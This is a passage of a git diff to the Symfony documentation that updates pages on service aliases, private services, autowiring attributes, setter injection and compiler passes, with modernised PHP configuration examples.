service arguments (e.g. -``@app.github_notifier`` to ``@App\Service\GitHubNotifier``) and updating your -code to not fetch this service directly from the container. For example: - -.. code-block:: diff - - - public function index() - + public function index(GitHubNotifier $gitHubNotifier, MarkdownTransformer $markdownTransformer) - { - - // the old way of fetching services - - $githubNotifier = $this->container->get('app.github_notifier'); - - $markdownTransformer = $this->container->get('markdown_transformer'); - - // ... - } - -As soon as you do this, you can delete ``legacy_aliases.yaml`` and remove its import. -You should do the same thing for any services that you made public, like -``app.api_client_github`` and ``app.api_client_sl_connect``. Once you're not fetching -these directly from the container, you can remove the ``public: true`` flag: - -.. code-block:: diff - - # config/services.yaml - services: - # ... - - app.api_client_github: - # ... - - public: true - - app.api_client_sl_connect: - # ... - - public: true - -Finally, you can optionally remove any services from ``services.yaml`` whose arguments -can be autowired. The final configuration looks like this: - -.. code-block:: yaml - - services: - _defaults: - autowire: true - autoconfigure: true - public: false - - App\: - resource: '../src/*' - exclude: '../src/{Entity,Migrations,Tests}' - - App\Controller\: - resource: '../src/Controller' - tags: ['controller.service_arguments'] - - App\Service\GitHubNotifier: - # this could be deleted, or I can keep being explicit - arguments: - - '@app.api_client_github' - - # alias ApiClient to one of our services below - # app.api_client_github will be used to autowire ApiClient type-hints - App\Service\ApiClient: '@app.api_client_github' - - # keep these ids because there are multiple instances per class - app.api_client_github: - class: App\Service\ApiClient - arguments: - - 'https://api.github.com' - - app.api_client_sl_connect: - class: App\Service\ApiClient - arguments: - - 'https://connect.symfony.com/api' - -You can now take advantage of the new features going forward. - -.. _`FrameworkExtension for 3.3.0`: https://github.com/symfony/symfony/blob/7938fdeceb03cc1df277a249cf3da70f0b50eb98/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/FrameworkExtension.php#L247-L284 diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst index 6e032b10a6f..22bf649d861 100644 --- a/service_container/alias_private.rst +++ b/service_container/alias_private.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Advanced configuration - How to Create Service Aliases and Mark Services as Private ========================================================== @@ -58,13 +55,28 @@ You can also control the ``public`` option on a service-by-service basis: use App\Service\Foo; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Foo::class) ->public(); }; +It is also possible to define a service as public thanks to the ``#[Autoconfigure]`` +attribute. This attribute must be used directly on the class of the service +you want to configure:: + + // src/Service/Foo.php + namespace App\Service; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(public: true)] + class Foo + { + // ... + } + .. _services-why-private: Private services are special because they allow the container to optimize whether @@ -95,6 +107,20 @@ services. .. configuration-block:: + .. code-block:: php-attributes + + // src/Mail/PhpMailer.php + namespace App\Mail; + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsAlias; + + #[AsAlias(id: 'app.mailer', public: true)] + class PhpMailer + { + // ... + } + .. code-block:: yaml # config/services.yaml @@ -130,8 +156,8 @@ services. use App\Mail\PhpMailer; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(PhpMailer::class) ->private(); @@ -155,14 +181,53 @@ This means that when using the container directly, you can access the # ... app.mailer: '@App\Mail\PhpMailer' -Deprecating Service Aliases -~~~~~~~~~~~~~~~~~~~~~~~~~~~ +The ``#[AsAlias]`` attribute can also be limited to one or more specific +:ref:`config environments <configuration-environments>` using the ``when`` argument:: + + // src/Mail/PhpMailer.php + namespace App\Mail; + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsAlias; -.. versionadded:: 5.1 + #[AsAlias(id: 'app.mailer', when: 'dev')] + class PhpMailer + { + // ... + } - The ``package`` and ``version`` options were introduced in Symfony 5.1. - Prior to 5.1, you had to use ``deprecated: true`` or - ``deprecated: 'Custom message'``. + // pass an array to apply it in multiple config environments + #[AsAlias(id: 'app.mailer', when: ['dev', 'test'])] + class PhpMailer + { + // ... + } + +.. versionadded:: 7.3 + + The ``when`` argument of the ``#[AsAlias]`` attribute was introduced in Symfony 7.3. + +.. tip:: + + When using ``#[AsAlias]`` attribute, you may omit passing ``id`` argument + if the class implements exactly one interface. ``MailerInterface`` will be + alias of ``PhpMailer``:: + + // src/Mail/PhpMailer.php + namespace App\Mail; + + // ... + use Symfony\Component\DependencyInjection\Attribute\AsAlias; + use Symfony\Component\Mailer\MailerInterface; + + #[AsAlias] + class PhpMailer implements MailerInterface + { + // ... + } + +Deprecating Service Aliases +~~~~~~~~~~~~~~~~~~~~~~~~~~~ If you decide to deprecate the use of a service alias (because it is outdated or you decided not to maintain it anymore), you can deprecate its definition: @@ -172,7 +237,7 @@ or you decided not to maintain it anymore), you can deprecate its definition: .. code-block:: yaml app.mailer: - alias: '@App\Mail\PhpMailer' + alias: 'App\Mail\PhpMailer' # this outputs the following generic deprecation message: # Since acme/package 1.2: The "app.mailer" service alias is deprecated. You should stop using it, as it will be removed in the future @@ -278,12 +343,11 @@ The following example shows how to inject an anonymous service into another serv use App\AnonymousBar; use App\Foo; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Foo::class) - // In versions earlier to Symfony 5.1 the inline_service() function was called inline() - ->args([inline_service(AnonymousBar::class)]) + ->args([inline_service(AnonymousBar::class)]); }; .. note:: @@ -330,11 +394,11 @@ Using an anonymous service as a factory looks like this: use App\AnonymousBar; use App\Foo; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(Foo::class) - ->factory([inline_service(AnonymousBar::class), 'constructFoo']) + ->factory([inline_service(AnonymousBar::class), 'constructFoo']); }; Deprecating Services @@ -349,7 +413,10 @@ or you decided not to maintain it anymore), you can deprecate its definition: # config/services.yaml App\Service\OldService: - deprecated: The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0. + deprecated: + package: 'vendor-name/package-name' + version: '2.8' + message: The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0. .. code-block:: xml @@ -361,7 +428,7 @@ or you decided not to maintain it anymore), you can deprecate its definition: <services> <service id="App\Service\OldService"> - <deprecated>The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.</deprecated> + <deprecated package="vendor-name/package-name" version="2.8">The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.</deprecated> </service> </services> </container> @@ -373,11 +440,15 @@ or you decided not to maintain it anymore), you can deprecate its definition: use App\Service\OldService; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(OldService::class) - ->deprecate('The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.'); + ->deprecate( + 'vendor-name/package-name', + '2.8', + 'The "%service_id%" service is deprecated since vendor-name/package-name 2.8 and will be removed in 3.0.' + ); }; Now, every time this service is used, a deprecation warning is triggered, diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst index 4a2b606c538..ea1bf1b12ff 100644 --- a/service_container/autowiring.rst +++ b/service_container/autowiring.rst @@ -1,6 +1,3 @@ -.. index:: - single: DependencyInjection; Autowiring - Defining Services Dependencies Automatically (Autowiring) ========================================================= @@ -29,7 +26,7 @@ Start by creating a ROT13 transformer class:: class Rot13Transformer { - public function transform($value) + public function transform(string $value): string { return str_rot13($value); } @@ -41,17 +38,16 @@ And now a Twitter client using this transformer:: namespace App\Service; use App\Util\Rot13Transformer; + // ... class TwitterClient { - private $transformer; - - public function __construct(Rot13Transformer $transformer) - { - $this->transformer = $transformer; + public function __construct( + private Rot13Transformer $transformer, + ) { } - public function tweet($user, $key, $status) + public function tweet(User $user, string $key, string $status): void { $transformedStatus = $this->transformer->transform($status); @@ -106,8 +102,8 @@ both services: .. code-block:: php // config/services.php - return function(ContainerConfigurator $configurator) { - $services = $configurator->services() + return function(ContainerConfigurator $container): void { + $services = $container->services() ->defaults() ->autowire() ->autoconfigure() @@ -121,7 +117,6 @@ both services: ->autowire(); }; - Now, you can use the ``TwitterClient`` service immediately in a controller:: // src/Controller/DefaultController.php @@ -129,14 +124,14 @@ Now, you can use the ``TwitterClient`` service immediately in a controller:: use App\Service\TwitterClient; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class DefaultController extends AbstractController { - /** - * @Route("/tweet", methods={"POST"}) - */ - public function tweet(TwitterClient $twitterClient) + #[Route('/tweet')] + public function tweet(TwitterClient $twitterClient, Request $request): Response { // fetch $user, $key, $status from the POST'ed data @@ -166,9 +161,9 @@ Autowiring works by reading the ``Rot13Transformer`` *type-hint* in ``TwitterCli { // ... - public function __construct(Rot13Transformer $transformer) - { - $this->transformer = $transformer; + public function __construct( + private Rot13Transformer $transformer, + ) { } } @@ -183,7 +178,7 @@ If there is *not* a service whose id exactly matches the type, a clear exception will be thrown. Autowiring is a great way to automate configuration, and Symfony tries to be as -*predictable* and clear as possible. +*predictable* and as clear as possible. .. _service-autowiring-alias: @@ -216,8 +211,8 @@ adding a service alias: # ... # but this fixes it! - # the ``app.rot13.transformer`` service will be injected when - # an ``App\Util\Rot13Transformer`` type-hint is detected + # the "app.rot13.transformer" service will be injected when + # an App\Util\Rot13Transformer type-hint is detected App\Util\Rot13Transformer: '@app.rot13.transformer' .. code-block:: xml @@ -243,7 +238,7 @@ adding a service alias: use App\Util\Rot13Transformer; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... // the id is not a class, so it won't be used for autowiring @@ -251,12 +246,11 @@ adding a service alias: ->autowire(); // but this fixes it! - // the ``app.rot13.transformer`` service will be injected when - // an ``App\Util\Rot13Transformer`` type-hint is detected + // the "app.rot13.transformer" service will be injected when + // an App\Util\Rot13Transformer type-hint is detected $services->alias(Rot13Transformer::class, 'app.rot13.transformer'); }; - This creates a service "alias", whose id is ``App\Util\Rot13Transformer``. Thanks to this, autowiring sees this and uses it whenever the ``Rot13Transformer`` class is type-hinted. @@ -283,7 +277,7 @@ To follow this best practice, suppose you decide to create a ``TransformerInterf interface TransformerInterface { - public function transform($value); + public function transform(string $value): string; } Then, you update ``Rot13Transformer`` to implement it:: @@ -298,8 +292,9 @@ Now that you have an interface, you should use this as your type-hint:: class TwitterClient { - public function __construct(TransformerInterface $transformer) - { + public function __construct( + private TransformerInterface $transformer, + ) { // ... } @@ -322,8 +317,8 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`: App\Util\Rot13Transformer: ~ - # the ``App\Util\Rot13Transformer`` service will be injected when - # an ``App\Util\TransformerInterface`` type-hint is detected + # the App\Util\Rot13Transformer service will be injected when + # an App\Util\TransformerInterface type-hint is detected App\Util\TransformerInterface: '@App\Util\Rot13Transformer' .. code-block:: xml @@ -350,17 +345,16 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`: use App\Util\Rot13Transformer; use App\Util\TransformerInterface; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... $services->set(Rot13Transformer::class); - // the ``App\Util\Rot13Transformer`` service will be injected when - // an ``App\Util\TransformerInterface`` type-hint is detected + // the App\Util\Rot13Transformer service will be injected when + // an App\Util\TransformerInterface type-hint is detected $services->alias(TransformerInterface::class, Rot13Transformer::class); }; - Thanks to the ``App\Util\TransformerInterface`` alias, the autowiring subsystem knows that the ``App\Util\Rot13Transformer`` service should be injected when dealing with the ``TransformerInterface``. @@ -368,10 +362,32 @@ dealing with the ``TransformerInterface``. .. tip:: When using a `service definition prototype`_, if only one service is - discovered that implements an interface, and that interface is also - discovered in the same file, configuring the alias is not mandatory + discovered that implements an interface, configuring the alias is not mandatory and Symfony will automatically create one. +.. tip:: + + Autowiring is powerful enough to guess which service to inject even when using + union and intersection types. This means you're able to type-hint argument with + complex types like this:: + + use Symfony\Component\Serializer\Normalizer\DenormalizerInterface; + use Symfony\Component\Serializer\Normalizer\NormalizerInterface; + use Symfony\Component\Serializer\SerializerInterface; + + class DataFormatter + { + public function __construct( + private (NormalizerInterface&DenormalizerInterface)|SerializerInterface $transformer, + ) { + // ... + } + + // ... + } + +.. _autowiring-multiple-implementations-same-type: + Dealing with Multiple Implementations of the Same Type ------------------------------------------------------ @@ -383,7 +399,7 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements class UppercaseTransformer implements TransformerInterface { - public function transform($value) + public function transform(string $value): string { return strtoupper($value); } @@ -392,19 +408,21 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements If you register this as a service, you now have *two* services that implement the ``App\Util\TransformerInterface`` type. Autowiring subsystem can not decide which one to use. Remember, autowiring isn't magic; it looks for a service -whose id matches the type-hint. So you need to choose one by creating an alias -from the type to the correct service id (see :ref:`autowiring-interface-alias`). +whose id matches the type-hint. So you need to choose one by :ref:`creating an alias +<autowiring-interface-alias>` from the type to the correct service id. Additionally, you can define several named autowiring aliases if you want to use one implementation in some cases, and another implementation in some other cases. +.. _autowiring-alias: + For instance, you may want to use the ``Rot13Transformer`` implementation by default when the ``TransformerInterface`` interface is type hinted, but use the ``UppercaseTransformer`` implementation in some specific cases. To do so, you can create a normal alias from the ``TransformerInterface`` interface to ``Rot13Transformer``, and then create a *named autowiring alias* from a special string containing the -interface followed by a variable name matching the one you use when doing +interface followed by an argument name matching the one you use when doing the injection:: // src/Service/MastodonClient.php @@ -414,14 +432,12 @@ the injection:: class MastodonClient { - private $transformer; - - public function __construct(TransformerInterface $shoutyTransformer) - { - $this->transformer = $shoutyTransformer; + public function __construct( + private TransformerInterface $shoutyTransformer, + ) { } - public function toot($user, $key, $status) + public function toot(User $user, string $key, string $status): void { $transformedStatus = $this->transformer->transform($status); @@ -440,13 +456,13 @@ the injection:: App\Util\Rot13Transformer: ~ App\Util\UppercaseTransformer: ~ - # the ``App\Util\UppercaseTransformer`` service will be - # injected when an ``App\Util\TransformerInterface`` - # type-hint for a ``$shoutyTransformer`` argument is detected. + # the App\Util\UppercaseTransformer service will be + # injected when an App\Util\TransformerInterface + # type-hint for a $shoutyTransformer argument is detected App\Util\TransformerInterface $shoutyTransformer: '@App\Util\UppercaseTransformer' # If the argument used for injection does not match, but the - # type-hint still matches, the ``App\Util\Rot13Transformer`` + # type-hint still matches, the App\Util\Rot13Transformer # service will be injected. App\Util\TransformerInterface: '@App\Util\Rot13Transformer' @@ -456,6 +472,7 @@ the injection:: # If you wanted to choose the non-default service and do not # want to use a named autowiring alias, wire it manually: + # arguments: # $transformer: '@App\Util\UppercaseTransformer' # ... @@ -494,19 +511,19 @@ the injection:: use App\Util\TransformerInterface; use App\Util\UppercaseTransformer; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... $services->set(Rot13Transformer::class)->autowire(); $services->set(UppercaseTransformer::class)->autowire(); - // the ``App\Util\UppercaseTransformer`` service will be - // injected when an ``App\Util\TransformerInterface`` - // type-hint for a ``$shoutyTransformer`` argument is detected. + // the App\Util\UppercaseTransformer service will be + // injected when an App\Util\TransformerInterface + // type-hint for a $shoutyTransformer argument is detected $services->alias(TransformerInterface::class.' $shoutyTransformer', UppercaseTransformer::class); // If the argument used for injection does not match, but the - // type-hint still matches, the ``App\Util\Rot13Transformer`` + // type-hint still matches, the App\Util\Rot13Transformer // service will be injected. $services->alias(TransformerInterface::class, Rot13Transformer::class); @@ -518,6 +535,7 @@ the injection:: // want to use a named autowiring alias, wire it manually: // ->arg('$transformer', service(UppercaseTransformer::class)) // ... + ; }; Thanks to the ``App\Util\TransformerInterface`` alias, any argument type-hinted @@ -527,6 +545,71 @@ If the argument is named ``$shoutyTransformer``, But, you can also manually wire any *other* service by specifying the argument under the arguments key. +Another option is to use the ``#[Target]`` attribute. By adding this attribute +to the argument you want to autowire, you can specify which service to inject by +passing the name of the argument used in the named alias. This way, you can have +multiple services implementing the same interface and keep the argument name +separate from any implementation name (like shown in the example above). In addition, +you'll get an exception in case you make any typo in the target name. + +.. warning:: + + The ``#[Target]`` attribute only accepts the name of the argument used in the + named alias; it **does not** accept service ids or service aliases. + +You can get a list of named autowiring aliases by running the ``debug:autowiring`` command:: + +.. code-block:: terminal + + $ php bin/console debug:autowiring LoggerInterface + + Autowirable Types + ================= + + The following classes & interfaces can be used as type-hints when autowiring: + (only showing classes/interfaces matching LoggerInterface) + + Describes a logger instance. + Psr\Log\LoggerInterface - alias:monolog.logger + Psr\Log\LoggerInterface $assetMapperLogger - target:asset_mapperLogger - alias:monolog.logger.asset_mapper + Psr\Log\LoggerInterface $cacheLogger - alias:monolog.logger.cache + Psr\Log\LoggerInterface $httpClientLogger - target:http_clientLogger - alias:monolog.logger.http_client + Psr\Log\LoggerInterface $mailerLogger - alias:monolog.logger.mailer + + [...] + +Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use +the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument:: + + // src/Service/MastodonClient.php + namespace App\Service; + + use App\Util\TransformerInterface; + use Symfony\Component\DependencyInjection\Attribute\Target; + + class MastodonClient + { + public function __construct( + #[Target('shoutyTransformer')] + private TransformerInterface $transformer, + ) { + } + } + +.. tip:: + + Since the ``#[Target]`` attribute normalizes the string passed to it to its + camelCased form, name variations (e.g. ``shouty.transformer``) also work. + +.. note:: + + Some IDEs will show an error when using ``#[Target]`` as in the previous example: + *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*. + The reason is that thanks to `PHP constructor promotion`_ this constructor + argument is both a parameter and a class property. You can safely ignore this error message. + +.. _autowire-attribute: + Fixing Non-Autowireable Arguments --------------------------------- @@ -534,44 +617,199 @@ Autowiring only works when your argument is an *object*. But if you have a scala argument (e.g. a string), this cannot be autowired: Symfony will throw a clear exception. -To fix this, you can :ref:`manually wire the problematic argument <services-manually-wire-args>`. -You wire up the difficult arguments, Symfony takes care of the rest. +To fix this, you can :ref:`manually wire the problematic argument <services-manually-wire-args>` +in the service configuration. You wire up only the difficult arguments, +Symfony takes care of the rest. -.. _autowiring-calls: +You can also use the ``#[Autowire]`` parameter attribute to instruct the autowiring +logic about those arguments:: -Autowiring other Methods (e.g. Setters and Public Typed Properties) -------------------------------------------------------------------- + // src/Service/MessageGenerator.php + namespace App\Service; -When autowiring is enabled for a service, you can *also* configure the container -to call methods on your class when it's instantiated. For example, suppose you want -to inject the ``logger`` service, and decide to use setter-injection: + use Psr\Log\LoggerInterface; + use Symfony\Component\DependencyInjection\Attribute\Autowire; -.. configuration-block:: + class MessageGenerator + { + public function __construct( + #[Autowire(service: 'monolog.logger.request')] + private LoggerInterface $logger, + ) { + // ... + } + } - .. code-block:: php-annotations +The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`, +:doc:`complex expressions </service_container/expression_language>` and even +:ref:`environment variables <config-env-vars>` , +:doc:`including env variable processors </configuration/env_var_processors>`:: - // src/Util/Rot13Transformer.php - namespace App\Util; + // src/Service/MessageGenerator.php + namespace App\Service; - class Rot13Transformer + use Psr\Log\LoggerInterface; + use Symfony\Component\DependencyInjection\Attribute\Autowire; + + class MessageGenerator + { + public function __construct( + // use the %...% syntax for parameters + #[Autowire('%kernel.project_dir%/data')] + string $dataDir, + + // or use argument "param" + #[Autowire(param: 'kernel.debug')] + bool $debugMode, + + // expressions + #[Autowire(expression: 'service("App\\\Mail\\\MailerConfiguration").getMailerMethod()')] + string $mailerMethod, + + // environment variables + #[Autowire(env: 'SOME_ENV_VAR')] + string $senderName, + + // environment variables with processors + #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')] + bool $allowAttachments, + ) { + } + // ... + } + +.. _autowiring_closures: + +Generate Closures With Autowiring +--------------------------------- + +A **service closure** is an anonymous function that returns a service. This type +of instantiation is handy when you are dealing with lazy-loading. It is also +useful for non-shared service dependencies. + +Automatically creating a closure encapsulating the service instantiation can be +done with the +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure` +attribute:: + + // src/Service/Remote/MessageFormatter.php + namespace App\Service\Remote; + + use Symfony\Component\DependencyInjection\Attribute\AsAlias; + + #[AsAlias('third_party.remote_message_formatter')] + class MessageFormatter + { + public function __construct() { - private $logger; + // ... + } - /** - * @required - */ - public function setLogger(LoggerInterface $logger) - { - $this->logger = $logger; - } + public function format(string $message): string + { + // ... + } + } - public function transform($value) - { - $this->logger->info('Transforming '.$value); - // ... - } + // src/Service/MessageGenerator.php + namespace App\Service; + + use App\Service\Remote\MessageFormatter; + use Symfony\Component\DependencyInjection\Attribute\AutowireServiceClosure; + + class MessageGenerator + { + public function __construct( + #[AutowireServiceClosure('third_party.remote_message_formatter')] + private \Closure $messageFormatterResolver, + ) { + } + + public function generate(string $message): void + { + $formattedMessage = ($this->messageFormatterResolver)()->format($message); + + // ... + } + } + +It is common that a service accepts a closure with a specific signature. +In this case, you can use the +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` attribute +to generate a closure with the same signature as a specific method of a service. When +this closure is called, it will pass all its arguments to the underlying service +function. If the closure needs to be called more than once, the service instance +is reused for repeated calls. Unlike a service closure, this will not +create extra instances of a non-shared service:: + + // src/Service/MessageGenerator.php + namespace App\Service; + + use Symfony\Component\DependencyInjection\Attribute\AutowireCallable; + + class MessageGenerator + { + public function __construct( + #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')] + private \Closure $formatCallable, + ) { + } + + public function generate(string $message): void + { + $formattedMessage = ($this->formatCallable)($message); + + // ... + } + } + +Finally, you can pass the ``lazy: true`` option to the +:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable` +attribute. By doing so, the callable will automatically be lazy, which means +that the encapsulated service will be instantiated **only** at the +closure's first call. + +The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireMethodOf` +attribute provides a simpler way of specifying the name of the service method +by using the property name as method name:: + + // src/Service/MessageGenerator.php + namespace App\Service; + + use Symfony\Component\DependencyInjection\Attribute\AutowireMethodOf; + + class MessageGenerator + { + public function __construct( + #[AutowireMethodOf('third_party.remote_message_formatter')] + private \Closure $format, + ) { } + public function generate(string $message): void + { + $formattedMessage = ($this->format)($message); + + // ... + } + } + +.. versionadded:: 7.1 + + The :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf` + attribute was introduced in Symfony 7.1. + +.. _autowiring-calls: + +Autowiring other Methods (e.g. Setters and Public Typed Properties) +------------------------------------------------------------------- + +When autowiring is enabled for a service, you can *also* configure the container +to call methods on your class when it's instantiated. For example, suppose you want +to inject the ``logger`` service, and decide to use setter-injection: + +.. configuration-block:: + .. code-block:: php-attributes // src/Util/Rot13Transformer.php @@ -581,15 +819,15 @@ to inject the ``logger`` service, and decide to use setter-injection: class Rot13Transformer { - private $logger; + private LoggerInterface $logger; #[Required] - public function setLogger(LoggerInterface $logger) + public function setLogger(LoggerInterface $logger): void { $this->logger = $logger; } - public function transform($value) + public function transform($value): string { $this->logger->info('Transforming '.$value); // ... @@ -600,35 +838,12 @@ Autowiring will automatically call *any* method with the ``#[Required]`` attribu above it, autowiring each argument. If you need to manually wire some of the arguments to a method, you can always explicitly :doc:`configure the method call </service_container/calls>`. -If your PHP version doesn't support attributes (they were introduced in PHP 8), -you can use the ``@required`` annotation instead. - -.. versionadded:: 5.2 - - The ``#[Required]`` attribute was introduced in Symfony 5.2. - -Despite property injection has some :ref:`drawbacks <property-injection>`, -autowiring with ``#[Required]`` or ``@required`` can also be applied to public -typed properties:: +Despite property injection having some :ref:`drawbacks <property-injection>`, +autowiring with ``#[Required]`` can also be applied to public +typed properties: .. configuration-block:: - .. code-block:: php-annotations - - namespace App\Util; - - class Rot13Transformer - { - /** @required */ - public LoggerInterface $logger; - - public function transform($value) - { - $this->logger->info('Transforming '.$value); - // ... - } - } - .. code-block:: php-attributes namespace App\Util; @@ -640,16 +855,46 @@ typed properties:: #[Required] public LoggerInterface $logger; - public function transform($value) + public function transform($value): void { $this->logger->info('Transforming '.$value); // ... } } -.. versionadded:: 5.1 +Autowiring Anonymous Services Inline +------------------------------------ + +.. versionadded:: 7.1 + + The ``#[AutowireInline]`` attribute was added in Symfony 7.1. + +Similar to how anonymous services can be defined inline in configuration files, +the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireInline` +attribute allows you to declare anonymous services inline, directly next to their +corresponding arguments:: + + public function __construct( + #[AutowireInline( + factory: [ScopingHttpClient::class, 'forBaseUri'], + arguments: [ + '$baseUri' => 'https://api.example.com', + '$defaultOptions' => [ + 'auth_bearer' => '%env(EXAMPLE_TOKEN)%', + ], + ] + )] + private HttpClientInterface $client, + ) { + } + +This example tells Symfony to inject an object created by calling the +``ScopingHttpClient::forBaseUri()`` factory with the specified base URI and +default options. This is just one example: you can use the ``#[AutowireInline]`` +attribute to define any kind of anonymous service. - Public typed properties autowiring was introduced in Symfony 5.1. +While this approach is convenient for simple service definitions, consider moving +complex or heavily configured services to a configuration file to ease maintenance. Autowiring Controller Action Methods ------------------------------------ @@ -678,3 +923,4 @@ over all code. .. _ROT13: https://en.wikipedia.org/wiki/ROT13 .. _service definition prototype: https://symfony.com/blog/new-in-symfony-3-3-psr-4-based-service-discovery +.. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion diff --git a/service_container/calls.rst b/service_container/calls.rst index df33cecc989..cb364b59489 100644 --- a/service_container/calls.rst +++ b/service_container/calls.rst @@ -1,12 +1,9 @@ -.. index:: - single: DependencyInjection; Method Calls - Service Method Calls and Setter Injection ========================================= .. tip:: - If you're using autowiring, you can use ``#[Required]`` or ``@required`` to + If you're using autowiring, you can use ``#[Required]`` to :ref:`automatically configure method calls <autowiring-calls>`. Usually, you'll want to inject your dependencies via the constructor. But sometimes, @@ -20,9 +17,9 @@ example:: class MessageGenerator { - private $logger; + private LoggerInterface $logger; - public function setLogger(LoggerInterface $logger) + public function setLogger(LoggerInterface $logger): void { $this->logger = $logger; } @@ -69,11 +66,10 @@ To configure the container to call the ``setLogger`` method, use the ``calls`` k use App\Service\MessageGenerator; - return function(ContainerConfigurator $configurator) { + return function(ContainerConfigurator $container): void { // ... $services->set(MessageGenerator::class) - // In versions earlier to Symfony 5.1 the service() function was called ref() ->call('setLogger', [service('logger')]); }; @@ -88,12 +84,9 @@ instead of mutating the object they were called on:: class MessageGenerator { - private $logger; + private LoggerInterface $logger; - /** - * @return static - */ - public function withLogger(LoggerInterface $logger) + public function withLogger(LoggerInterface $logger): self { $new = clone $this; $new->logger = $logger; @@ -146,3 +139,22 @@ The configuration to tell the container it should do so would be like: $container->register(MessageGenerator::class) ->addMethodCall('withLogger', [new Reference('logger')], true); + +.. tip:: + + If autowire is enabled, you can also use attributes; with the previous + example it would be:: + + #[Required] + public function withLogger(LoggerInterface $logger): static + { + $new = clone $this; + $new->logger = $logger; + + return $new; + } + + If you don't want a method with a ``static`` return type and + a ``#[Required]`` attribute to behave as a wither, you can + add a ``@return $this`` annotation to disable the *returns clone* + feature. diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst index 4d959e93dc6..096c60c2642 100644 --- a/service_container/compiler_passes.rst +++ b/service_container/compiler_passes.rst @@ -1,58 +1,89 @@ -.. index:: - single: DependencyInjection; Compiler passes - single: Service Container; Compiler passes - How to Work with Compiler Passes ================================ Compiler passes give you an opportunity to manipulate other :doc:`service definitions </service_container/definitions>` that have been -registered with the service container. You can read about how to create them in -the components section ":ref:`components-di-separate-compiler-passes`". +registered with the service container. + +.. _kernel-as-compiler-pass: + +If your compiler pass is relatively small, you can define it inside the +application's ``Kernel`` class instead of creating a +:ref:`separate compiler pass class <components-di-separate-compiler-passes>`. -Compiler passes are registered in the ``build()`` method of the application kernel:: +To do so, make your kernel implement :class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface` +and add the compiler pass code inside the ``process()`` method:: // src/Kernel.php namespace App; - use App\DependencyInjection\Compiler\CustomPass; use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\HttpKernel\Kernel as BaseKernel; - class Kernel extends BaseKernel + class Kernel extends BaseKernel implements CompilerPassInterface { use MicroKernelTrait; // ... - protected function build(ContainerBuilder $container): void + public function process(ContainerBuilder $container): void { - $container->addCompilerPass(new CustomPass()); + // in this method you can manipulate the service container: + // for example, changing some container service: + $container->getDefinition('app.some_private_service')->setPublic(true); + + // or processing tagged services: + foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) { + // ... + } } } -One of the most common use-cases of compiler passes is to work with :doc:`tagged -services </service_container/tags>`. In those cases, instead of creating a -compiler pass, you can make the kernel implement -:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface` -and process the services inside the ``process()`` method:: +If you create separate compiler pass classes, enable them in the ``build()`` +method of the application kernel:: // src/Kernel.php namespace App; + use App\DependencyInjection\Compiler\CustomPass; use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; - use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\HttpKernel\Kernel as BaseKernel; - class Kernel extends BaseKernel implements CompilerPassInterface + class Kernel extends BaseKernel { use MicroKernelTrait; // ... - public function process(ContainerBuilder $container) + protected function build(ContainerBuilder $container): void + { + $container->addCompilerPass(new CustomPass()); + } + } + +Working with Compiler Passes in Bundles +--------------------------------------- + +If your compiler pass is relatively small, you can add it directly in the main +bundle class. To do so, make your bundle implement the 